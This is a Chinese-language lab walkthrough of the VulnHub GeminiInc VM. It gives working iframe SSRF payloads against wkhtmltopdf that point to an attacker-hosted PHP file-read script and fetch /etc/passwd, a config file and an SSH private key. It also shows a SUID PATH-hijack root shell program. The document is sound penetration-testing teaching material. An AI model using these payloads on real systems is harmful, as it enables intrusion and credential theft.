VnlnHub GeminiInc-Pentest
字数 1720 2025-08-11 23:26:41

GeminiInc-Pentest 靶场渗透测试教学文档

靶场搭建

  1. 下载靶场文件

    • 下载地址:https://download.vulnhub.com/geminiinc/Gemini-Pentest-v1.zip
    • 文件格式:ZIP压缩包,解压后得到.ovf虚拟机文件
  2. 导入虚拟机

    • 使用VMware导入.ovf文件
    • 网络模式设置:NAT模式或桥接模式(需与Kali攻击机保持一致)
  3. 启动虚拟机

    • 完成启动后即可开始渗透测试

信息收集

  1. IP扫描

    • 扫描NAT网段确定靶机IP(示例中Kali攻击机IP为192.168.52.147,靶机IP为192.168.52.152)
  2. 端口扫描

    • 开放端口:
      • 22端口:SSH服务
      • 80端口:HTTP服务(Apache 2.4.25)

Web应用渗透

  1. 初始访问

    • 访问Web页面显示为Guest用户
    • 页面使用了开源框架,提供了GitHub地址
  2. 源码分析

    • 在页面源码中发现/test2/login.php页面
    • 通过GitHub源码发现install.php文件中的默认凭证:admin/1234
  3. 认证绕过

    • 使用admin/1234成功登录login.php页面
    • 用户身份变为admin
  4. 功能分析

    • 可用功能:
      • 查看用户信息
      • 编辑用户信息
      • 输出为PDF

漏洞利用

  1. 存储型XSS发现

    • 在"Display name"字段存在存储型XSS漏洞
    • 但无法直接获取shell
  2. PDF导出功能分析

    • 文档属性显示使用wkhtmltopdf 0.12.4
    • 该版本存在SSRF导致的任意文件读取漏洞
  3. 文件读取尝试

    • 初始尝试:<iframe src="file:///etc/passwd></iframe>(失败)
    • 远程文件读取成功:<iframe src="http://192.168.52.147/php-reverse-shell.php"></iframe>
  4. 本地文件读取绕过

    • 创建PHP文件实现本地文件读取:
      <?php
      echo file_get_contents($_GET['url']);
      ?>
      
    • 构造请求:<iframe height="2000" width="800" src="http://192.168.52.147/1.php?url=/etc/passwd"></iframe>
    • 成功读取/etc/passwd,发现gemini1用户可登录
  5. 敏感文件读取

    • 读取配置文件:<iframe height="2000" width="800" src="http://192.168.52.147/1.php?url=/var/www/html/test2/inc/settings.php"></iframe>
    • 获取数据库凭证(但数据库未对外开放)
    • 读取SSH私钥:<iframe height="2000" width="800" src="http://192.168.52.147/1.php?url=/home/gemini1/.ssh/id_rsa"></iframe>

权限提升

  1. SSH登录

    • 使用获取的私钥登录gemini1用户
    • 设置私钥权限:chmod 600 id_rsa
    • 登录命令:ssh -i id_rsa gemini1@192.168.52.152
  2. SUID提权

    • 查找SUID文件:find / -perm -4000 2>/dev/null
    • 发现可疑文件listinfo
    • 分析listinfo功能:
      • 显示网卡信息、开放端口和当前日期
      • 检查发现date命令未使用绝对路径
  3. 环境变量劫持

    • 创建恶意date.c文件:
      #include <sys/types.h>
      #include <unistd.h>
      #include <stdlib.h>
      
      int main(){
          setuid(0);
          setgid(0);
          system("/bin/bash");
      }
      
    • 编译:gcc date.c -o date
    • 修改环境变量:export PATH=/home/gemini1:$PATH
    • 执行listinfo获取root权限

总结

本靶场渗透测试流程:

  1. 通过源码泄露获取默认凭证
  2. 利用wkhtmltopdf的SSRF漏洞实现文件读取
  3. 获取SSH私钥实现初始访问
  4. 利用SUID文件中的路径劫持实现权限提升

关键学习点:

  • 源码审计的重要性
  • SSRF漏洞的利用方式
  • SUID提权中的环境变量劫持技术
  • 敏感文件(如SSH密钥、配置文件)的定位与利用
GeminiInc-Pentest 靶场渗透测试教学文档 靶场搭建 下载靶场文件 : 下载地址:https://download.vulnhub.com/geminiinc/Gemini-Pentest-v1.zip 文件格式:ZIP压缩包,解压后得到.ovf虚拟机文件 导入虚拟机 : 使用VMware导入.ovf文件 网络模式设置:NAT模式或桥接模式(需与Kali攻击机保持一致) 启动虚拟机 : 完成启动后即可开始渗透测试 信息收集 IP扫描 : 扫描NAT网段确定靶机IP(示例中Kali攻击机IP为192.168.52.147,靶机IP为192.168.52.152) 端口扫描 : 开放端口: 22端口:SSH服务 80端口:HTTP服务(Apache 2.4.25) Web应用渗透 初始访问 : 访问Web页面显示为Guest用户 页面使用了开源框架,提供了GitHub地址 源码分析 : 在页面源码中发现/test2/login.php页面 通过GitHub源码发现install.php文件中的默认凭证:admin/1234 认证绕过 : 使用admin/1234成功登录login.php页面 用户身份变为admin 功能分析 : 可用功能: 查看用户信息 编辑用户信息 输出为PDF 漏洞利用 存储型XSS发现 : 在"Display name"字段存在存储型XSS漏洞 但无法直接获取shell PDF导出功能分析 : 文档属性显示使用wkhtmltopdf 0.12.4 该版本存在SSRF导致的任意文件读取漏洞 文件读取尝试 : 初始尝试: <iframe src="file:///etc/passwd></iframe> (失败) 远程文件读取成功: <iframe src="http://192.168.52.147/php-reverse-shell.php"></iframe> 本地文件读取绕过 : 创建PHP文件实现本地文件读取: 构造请求: <iframe height="2000" width="800" src="http://192.168.52.147/1.php?url=/etc/passwd"></iframe> 成功读取/etc/passwd,发现gemini1用户可登录 敏感文件读取 : 读取配置文件: <iframe height="2000" width="800" src="http://192.168.52.147/1.php?url=/var/www/html/test2/inc/settings.php"></iframe> 获取数据库凭证(但数据库未对外开放) 读取SSH私钥: <iframe height="2000" width="800" src="http://192.168.52.147/1.php?url=/home/gemini1/.ssh/id_rsa"></iframe> 权限提升 SSH登录 : 使用获取的私钥登录gemini1用户 设置私钥权限: chmod 600 id_rsa 登录命令: ssh -i id_rsa gemini1@192.168.52.152 SUID提权 : 查找SUID文件: find / -perm -4000 2>/dev/null 发现可疑文件listinfo 分析listinfo功能: 显示网卡信息、开放端口和当前日期 检查发现date命令未使用绝对路径 环境变量劫持 : 创建恶意date.c文件: 编译: gcc date.c -o date 修改环境变量: export PATH=/home/gemini1:$PATH 执行listinfo获取root权限 总结 本靶场渗透测试流程: 通过源码泄露获取默认凭证 利用wkhtmltopdf的SSRF漏洞实现文件读取 获取SSH私钥实现初始访问 利用SUID文件中的路径劫持实现权限提升 关键学习点: 源码审计的重要性 SSRF漏洞的利用方式 SUID提权中的环境变量劫持技术 敏感文件(如SSH密钥、配置文件)的定位与利用